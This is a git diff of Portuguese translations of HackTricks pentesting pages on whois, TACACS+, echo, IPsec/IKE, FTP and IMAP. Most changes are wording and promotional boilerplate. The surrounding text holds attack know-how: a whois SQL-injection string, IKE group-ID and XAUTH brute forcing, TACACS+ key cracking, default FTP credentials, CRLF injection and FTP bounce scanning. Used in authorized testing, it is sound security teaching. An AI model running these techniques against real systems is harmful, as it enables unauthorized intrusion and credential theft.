{% embed url="https://discord.gg/tryhardsecurity" %} @@ -31,7 +31,7 @@ PORT STATE SERVICE ``` # Enumerar -Obtenha todas as informações que um serviço de whois possui sobre um domínio: +Obtenha todas as informações que um serviço whois possui sobre um domínio: ```bash whois -h -p "domain.tld" echo "domain.ltd" | nc -vn @@ -40,7 +40,7 @@ echo "domain.ltd" | nc -vn ![](<../.gitbook/assets/image (147).png>) -Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** poderia estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados. +Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você pode ser capaz de **extrair todas** as **informações** salvas no banco de dados. # Shodan @@ -48,7 +48,7 @@ Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para arm **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -78,7 +78,7 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4 Outras maneiras de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index f809d74f3..0b852fb40 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -1,4 +1,28 @@ -# Informações Básicas +# 49 - Pentesting TACACS+ + +
+ +Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! + +Outras maneiras de apoiar o HackTricks: + +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+ +**Grupo de Segurança Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Informações Básicas O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA). ``` @@ -13,7 +37,7 @@ Se a comunicação entre o cliente e o servidor TACACS for interceptada por um a ### Realizando um Ataque Man-in-the-Middle (MitM) -Um **ataque de ARP spoofing pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**. +Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**. ### Força Bruta na Chave @@ -21,10 +45,10 @@ O [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para for ``` sudo loki_gtk.py ``` -Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado TACACS**. +Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado do TACACS.** ### Descriptografando o Tráfego -Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidas. +Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado do TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidos. Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante observar que essas ações são estritamente para fins educacionais e não devem ser usadas sem autorização adequada. @@ -34,20 +58,20 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! +Aprenda a hackear a AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index 320f0f3a4..9e52e65fa 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -4,7 +4,7 @@ Outras maneiras de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -14,16 +14,15 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** - # Informações Básicas -Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode ouvir nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\ +Um serviço de eco está em execução neste host. O serviço de eco foi destinado a fins de teste e medição e pode escutar nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificações.\ **É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\ Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) @@ -41,18 +40,18 @@ Hello echo #This is the response ``` ## Shodan -* `port:7 echo` +* `porta:7 echo` ## Referências [Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol) -[CA-1996-01 Ataque de Negação de Serviço de Porta UDP](http://www.cert.org/advisories/CA-1996-01.html) +[CA-1996-01 Ataque de Negação de Serviço na Porta UDP](http://www.cert.org/advisories/CA-1996-01.html) **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -63,7 +62,7 @@ Hello echo #This is the response Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md index 8ff678d16..ff0972d7f 100644 --- a/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks: * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github. +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,13 +24,13 @@ Outras maneiras de apoiar o HackTricks: ## Informações Básicas -**IPsec** é amplamente reconhecido como a principal tecnologia para garantir a segurança das comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais. +**IPsec** é amplamente reconhecido como a principal tecnologia para garantir comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais. O estabelecimento de uma **associação de segurança (SA)** entre dois pontos é gerenciado pelo **IKE**, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desenrola em várias fases: - **Fase 1:** Um canal seguro é criado entre dois pontos. Isso é alcançado por meio do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou **modo agressivo**. - **Fase 1.5:** Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que tenta se conectar, exigindo um nome de usuário e senha. -- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir a segurança dos dados com **ESP** e **AH**. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança. +- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir dados com **ESP** e **AH**. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança. **Porta padrão:** 500/udp @@ -90,10 +90,10 @@ Você também poderia tentar forçar transformações com [**ikeforce**](https:/ ``` ![](<../.gitbook/assets/image (109).png>) -No **Grupo DH: 14 = 2048-bit MODP** e **15 = 3072-bit**\ +No **Grupo DH: 14 = MODP de 2048 bits** e **15 = 3072 bits**\ **2 = HMAC-SHA = SHA1 (neste caso). O formato `--trans` é $Enc,$Hash,$Auth,$DH** -A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que utilizam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor). +A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor). ### Fingerprinting do servidor @@ -128,9 +128,9 @@ Isso também pode ser alcançado com o script do nmap _**ike-version**_ Para poder capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.\ Para isso, eu recomendaria 2 métodos: -### Força bruta do ID com ike-scan +### Força bruta do ID com o ike-scan -Primeiramente, tente fazer uma solicitação com um ID falso tentando obter o hash ("-P"): +Primeiramente, tente fazer uma solicitação com um ID falso para tentar obter o hash ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` @@ -138,13 +138,13 @@ Se **nenhum hash for retornado**, então provavelmente este método de força br ![](<../.gitbook/assets/image (110).png>) -Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando o ike-scan. +Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar os nomes de grupo comuns usando o ike-scan. -Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (isso será um nome de grupo válido). +Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido). Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente). -Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o do seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupos comuns para forçá-los: +Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o do seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupo comuns para forçá-los: ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` @@ -164,7 +164,7 @@ Por padrão, o **ikeforce** enviará no início alguns IDs aleatórios para veri * Por fim, se o servidor não responder a nada às verificações, o **ikeforce** tentará fazer força bruta no servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\ Obviamente, o objetivo de fazer força bruta no ID é obter o **PSK** quando você tem um ID válido. Em seguida, com o **ID** e o **PSK**, você terá que fazer força bruta no XAUTH (se estiver habilitado). -Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente). +Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente). ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library @@ -204,13 +204,13 @@ Dessa forma, é possível capturar os dados do login usando o _fiked_ e verifica ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` -### Ataque de MitM e bloqueio de tráfego na porta 500 +### Ataque de MitM e bloqueio de tráfego na porta 500 usando IPSec Também, utilizando IPSec, tente realizar um ataque de MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia. -### Forçando XAUTH com brute force de usuário e senha usando ikeforce +### Forçando XAUTH username e senha com ikeforce -Para forçar o **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas: +Para forçar a **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` @@ -259,7 +259,7 @@ Certifique-se de usar valores reais e seguros para substituir os espaços reserv **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -270,7 +270,7 @@ Certifique-se de usar valores reais e seguros para substituir os espaços reserv Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/network-services-pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md index d87493dbf..6060186c1 100644 --- a/network-services-pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -12,9 +12,9 @@ -**Try Hard Security Group** +**Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -105,9 +105,9 @@ STAT ``` ### Login anônimo -_anônimo : anônimo_\ -_anônimo :_\ -_ftp : ftp_ +_anônimo: anônimo_\ +_anônimo: _\ +_ftp: ftp_ ```bash ftp >anonymous @@ -119,11 +119,11 @@ ftp ``` ### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp) -Aqui você pode encontrar uma lista com credenciais ftp padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) +Aqui você pode encontrar uma lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) ### Automatizado -Os testes de login anônimo e bounce FTP são realizados por padrão pelo nmap com a opção **-sC** ou: +Os checks de login Anon e bounce FTP são realizados por padrão pelo nmap com a opção **-sC** ou: ```bash nmap --script ftp-* -p 21 ``` @@ -133,7 +133,7 @@ Você pode se conectar a um servidor FTP usando um navegador (como o Firefox) us ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Observe que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar a codificação de URL dupla `%0d%0a` (na codificação de URL dupla isso é `%250d%250a`) bytes e fazer com que o **servidor FTP execute ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado pelo usuário, realizar varreduras de porta ou tentar se comunicar com outros serviços baseados em texto simples (como http). +Note que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar a codificação de URL dupla `%0d%0a` (na codificação de URL dupla isso é `%250d%250a`) bytes e fazer com que o **servidor FTP execute ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado pelo usuário, realizar varreduras de porta ou tentar se comunicar com outros serviços baseados em texto simples (como http). ## Baixar todos os arquivos do FTP ```bash @@ -166,11 +166,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ## Ataque FTPBounce -Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para indicar ao servidor que você deseja se conectar a outro servidor FTP em alguma porta. Em seguida, você pode usar isso para escanear quais portas de um host estão abertas através de um servidor FTP. +Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para indicar ao servidor que você deseja se conectar a outro servidor FTP em alguma porta. Então, você pode usar isso para escanear quais portas de um host estão abertas através de um servidor FTP. [**Aprenda aqui como abusar de um servidor FTP para escanear portas.**](ftp-bounce-attack.md) -Você também pode abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **fazer upload de um arquivo contendo uma solicitação HTTP** e fazer o servidor FTP vulnerável **enviá-lo para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário administrador?_) ou até mesmo fazer upload de uma solicitação FTP e fazer o servidor FTP vulnerável baixar um arquivo para um servidor FTP diferente.\ +Você também pode abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **fazer upload de um arquivo contendo uma solicitação HTTP** e fazer com que o servidor FTP vulnerável **envie para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário administrador?_) ou até mesmo fazer upload de uma solicitação FTP e fazer com que o servidor FTP vulnerável faça o download de um arquivo para um servidor FTP diferente.\ A teoria é simples: 1. **Faça upload da solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você deseja falar com outro servidor HTTP ou FTP, precisa alterar as linhas com `0x0d 0x0a` @@ -178,7 +178,7 @@ A teoria é simples: 3. **Use `PORT` para se conectar ao servidor e serviço arbitrários** 4. **Use `RETR` para enviar a solicitação salva para o servidor.** -É altamente provável que isso **resulte em um erro como** _**Socket not writable**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são: +É altamente provável que isso **resulte em um erro como** _**Socket não gravável**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são: * Se estiver enviando uma solicitação HTTP, **coloque a mesma solicitação uma após a outra** até **\~0.5MB** pelo menos. Assim: @@ -193,7 +193,7 @@ De qualquer forma, aqui está um [exemplo antigo de como abusar disso para fazer ## Vulnerabilidade do Servidor Filezilla -O **FileZilla** geralmente **vincula** a um **serviço administrativo local** para o **FileZilla-Server** (porta 14147). Se você puder criar um **túnel** da **sua máquina** para acessar esta porta, você pode **conectar-se** a **ela** usando uma **senha em branco** e **criar** um **novo usuário** para o serviço FTP. +O **FileZilla** geralmente **se vincula** a um **serviço administrativo local** para o **FileZilla-Server** (porta 14147). Se você puder criar um **túnel** da **sua máquina** para acessar esta porta, você pode **conectar-se** a **ela** usando uma **senha em branco** e **criar** um **novo usuário** para o serviço FTP. ## Arquivos de configuração ``` @@ -210,7 +210,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq - `anon_upload_enable=YES` - `anon_mkdir_write_enable=YES` - `anon_root=/home/username/ftp` - Diretório para anônimos. -- `chown_uploads=YES` - Alterar a propriedade dos arquivos enviados anonimamente +- `chown_uploads=YES` - Alterar a propriedade de arquivos enviados anonimamente - `chown_username=username` - Usuário que recebe a propriedade dos arquivos enviados anonimamente - `local_enable=YES` - Permitir que usuários locais façam login - `no_anon_password=YES` - Não solicitar senha para anônimos @@ -225,7 +225,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -287,7 +287,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index c9df2091f..ddc5b16cc 100644 --- a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna ``` **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/network-services-pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md index 9d7f1d5f0..1924dfee5 100644 --- a/network-services-pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,7 +24,7 @@ Outras maneiras de apoiar o HackTricks: ## Protocolo de Acesso a Mensagens da Internet -O **Protocolo de Acesso a Mensagens da Internet (IMAP)** é projetado com o objetivo de permitir que os usuários **acessam suas mensagens de e-mail de qualquer local**, principalmente através de uma conexão com a Internet. Em essência, os e-mails são **mantidos em um servidor** em vez de serem baixados e armazenados no dispositivo pessoal de um indivíduo. Isso significa que quando um e-mail é acessado ou lido, é feito **diretamente do servidor**. Essa capacidade permite a conveniência de verificar e-mails em **múltiplos dispositivos**, garantindo que nenhuma mensagem seja perdida, independentemente do dispositivo usado. +O **Protocolo de Acesso a Mensagens da Internet (IMAP)** é projetado com o propósito de permitir aos usuários **acessar suas mensagens de e-mail de qualquer local**, principalmente através de uma conexão com a Internet. Em essência, os e-mails são **mantidos em um servidor** em vez de serem baixados e armazenados no dispositivo pessoal de um indivíduo. Isso significa que quando um e-mail é acessado ou lido, é feito **diretamente do servidor**. Essa capacidade permite a conveniência de verificar e-mails em **múltiplos dispositivos**, garantindo que nenhuma mensagem seja perdida, independentemente do dispositivo usado. Por padrão, o protocolo IMAP funciona em duas portas: @@ -39,7 +39,7 @@ PORT STATE SERVICE REASON nc -nv 143 openssl s_client -connect :993 -quiet ``` -### NTLM Auth - Divulgação de informações +### NTLM Auth - Divulgação de Informações Se o servidor suporta autenticação NTLM (Windows) você pode obter informações sensíveis (versões): ``` @@ -107,21 +107,23 @@ A1 LOGOUT ``` apt install evolution ``` +![](<../.gitbook/assets/image (528).png>) + ### CURL -A navegação básica é possível com o [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então é recomendado verificar a [fonte](https://github.com/curl/curl/blob/master/lib/imap.c) para obter detalhes precisos. +A navegação básica é possível com [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então é recomendado verificar a 